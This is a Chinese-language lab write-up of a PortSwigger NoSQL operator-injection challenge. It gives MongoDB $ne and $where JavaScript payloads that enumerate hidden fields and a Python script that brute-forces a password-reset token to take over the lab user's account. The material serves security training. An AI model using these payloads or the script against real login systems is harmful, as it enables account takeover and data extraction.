[羅嗦的詳解BURP靶場]徹底理解nosql最終關Lab: Exploiting NoSQL operator injection to extract unknown fields

sesmof發表於2024-06-14

參考:
https://www.freebuf.com/articles/web/358650.html
https://youtu.be/I3zNZ8IBIJU


關於NoSQL

資料庫分為傳統的RDBMS(Relational Database Management System)(比如mysql sqlserver那類) 與NoSQL(NoSQL = Not Only SQL )

NoSQL 資料庫並非採用關聯式資料庫的典型表結構,而是將資料儲存在一個資料結構中,例如 JSON 文件。由於這種非關聯式資料庫設計不需要使用架構,因此,它提供快速可擴充套件性以管理通常為非結構化的大型資料集。
可用NoSQL技術的應用,以下👇為ai回答:

除了MongoDB,還有許多其他使用NoSQL技術的資料庫,它們各自適用於不同的場景和需求。以下是一些流行的NoSQL資料庫:

Redis:一個開源的鍵值儲存系統,常用於快取和訊息佇列1。
CouchDB:一個面向文件的NoSQL資料庫,它允許你以JSON格式儲存資料,並透過HTTP進行訪問2。
HBase:一個開源的非關係型分散式資料庫(NoSQL),它是Apache Hadoop專案的一部分,提供了類似於Google’s Bigtable的能力1。
Neo4j:一個圖形資料庫管理系統,它透過圖形結構儲存資料,適用於處理複雜的關係網路1。
Elasticsearch:雖然通常被認為是一個搜尋引擎,但它也可以作為一個分散式文件儲存,儲存結構化的JSON文件,並能夠實時搜尋1

這個bp靶場是mongoDB的可以用mongodb的


前置知識

mongodb的$where運算子可以向nosql執行JavaScript程式碼查詢,用法如下👇

{ $where: <string|JavaScript Code> }   ($where值可為一個function)

$ne運算子為不等於,用法也為一個{}左邊寫運算子右邊寫string


打靶

我們用布林和報錯注入日這個靶場
靶場的目標是log in as carlos


開局一個登入框,有忘記密碼和輸入密碼兩個地方可以日
再登入口輸入carlos並進行抓包,POST包的請求體如下

{"username":"carlos","password":"shift"}

對password引數進行測試,看能不能傳運算子

{"username":"carloss","password":{"$ne":""}}

改完了發包,是能傳的 (這裡不知道為什麼部落格園上傳不了圖片了,我用文字描述)

{"username":"carlos","password":{"$e":""}}(錯誤的運算子) 會提示internal server error
{"username":"carlos","password":{"$ne":""}}(正常的運算子) 會提示Invalid username or password
構造帶where運算子的json

{"username":"carlos","password":{"$ne":""},"$where":"function(){return 1;}"}


注意看如果是return 1 會有reset passwd提示


在本地搭建mongodb,深入探究


此處部分抄襲freebuff的一篇文章

docker search mongodb  docker搜尋mongodb映象
docker pull mongo:latest  拉取最新版本的mongodb映象
docke images 檢視映象
docker run -d -p 27017:27017 --name mongodb mongo:latest  執行容器
apt install mongodb
mongo --host 127.0.0.1 --port 27017

use 資料庫名       //建立資料庫
db.資料庫名.insert //寫資料
db.資料庫名.find   //查資料

打靶過程中後端對資料庫的查詢如下圖

看完這個圖這個漏洞的原因因該就懂一點了,自己安裝環境實操一下就更懂了
可以發現實際上資料庫儲存的兩個欄位的資料實際上有三個欄位(多一個"_id")
眾所周知JavaScript中Object.keys()可以列出所有鍵名,這裡不是可以注入js嗎?那我們就在靶場驗證一下👆上邊這句(指多一個"_id")
構造payload:

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(Object.keys(this)[0].match('_id'))return 1; else 0;}"}


reset提示,證明return的1 👆 驗證成功~

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(Object.keys(this)[2].match('password'))return 1; else 0;}"}

👆這樣欄位名也有了,password~👆
intruder爆破密碼長度,payload👇

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(this.password.length==1)return 1; else 0;}"}

當然爆破不出來,carlos沒有password,所以沒有提示reset
(return 1差不多就是查詢成功,但它還不讓登入,該想到賬號密碼登陸不了)
.
小技巧: intuder的settings可以設定正則匹配,比如我想匹配'reset'👇
(如果想匹配中文請使用十六進位制編碼,python -c "print('你要匹配的中文'.encode('utf-8'))" 即可)

.
只能尋找隱藏欄位了
intruder爆破隱藏欄位長度,payload👇

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(Object.keys(this)[3].length==§1§)return 1; else 0;}"}

長度為5 👆
讓我們嘗試對隱藏欄位的每一位進行依次爆破,涉及一點正規表示式👇

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(Object.keys(this)[3].match(/^a/))return 1; else 0;}"}

對a進行intruder👆字典就用單字元字典就行,對此題來說非常的短小精悍
第一位是e ~👇

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(Object.keys(this)[3].match(/^ea/))return 1; else 0;}"}

以此類推拿到隱藏欄位email
不對啊我要你email幹啥
同種方法爆破下一個欄位為👇
passwordReset
爆破欄位值👇

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(this.passwordReset.length==§1§)return 1; else 0;}"}

欄位的值有16個那麼長,比起像官方靶場頁面底下那個youtube影片那樣手工測,我新世紀蟒蛇戰士還是更喜歡自動化,編寫指令碼:
編寫指令碼小技巧:把需求直接仍給AI,AI不一會兒就能寫好,自己再修改一下就能用了👇程式碼奉上👇

import requests
import re
import json
a=''
n=0
list_ = [
    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
    '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
    '!', '"', '#', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~'
]
def send_post(l):
    url = "https://0a8800b90420c03c8088cbee00ff00f4.web-security-academy.net/login"
    headers = {
        "Host": "0a8800b90420c03c8088cbee00ff00f4.web-security-academy.net",
        "Cookie": "session=a0cAtApD54z6802ggZ4c2LgltHyxfwf7",
        "Content-Length": "36",
        "Sec-Ch-Ua": '"Microsoft Edge";v="125", "Chromium";v="125", "Not.A/Brand";v="24"',
        "Sec-Ch-Ua-Platform": "Windows",
        "Sec-Ch-Ua-Mobile": "?0",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0",
        "Content-Type": "application/json",
        "Accept": "*/*",
        "Origin": "https://0a8800b90420c03c8088cbee00ff00f4.web-security-academy.net",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-Mode": "cors",
        "Sec-Fetch-Dest": "empty",
        "Referer": "https://0a8800b90420c03c8088cbee00ff00f4.web-security-academy.net/login",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "Priority": "u=1, i"
    }
    
    data = {"username":"carlos",
            "password":{"$ne":""},
            "$where":"function(){if(this.passwordReset.match(/^%s/))return 1; else 0;}"%l
            }

    response = requests.post(url, headers=headers, data=json.dumps(data))

    #print(response.status_code)
    #print(response.text)
    #print(re.search('reset',response.text, flags=0))
    print(l)
    return re.search('reset',response.text, flags=0)


for i in range(16):
    for param in list_:
        param_a=a+param
        
        if send_post(param_a):
            a=param_a
            print (a+'       <-----')
            break
        else:
            continue
print(param_a)

說實話這個指令碼跑的太慢了,單論速度的話還不如手工,但重要的是跑起程式碼就可以摸魚去了呀,而且還是ai寫的程式碼.
得到passwordReset 的值85fa55a8c5f8a31b
推測passwordReset為/forgot-password那一頁的引數
/forgot-password?passwordReset=85fa55a8c5f8a31b
成功訪問,修改密碼即可
過啦

相關文章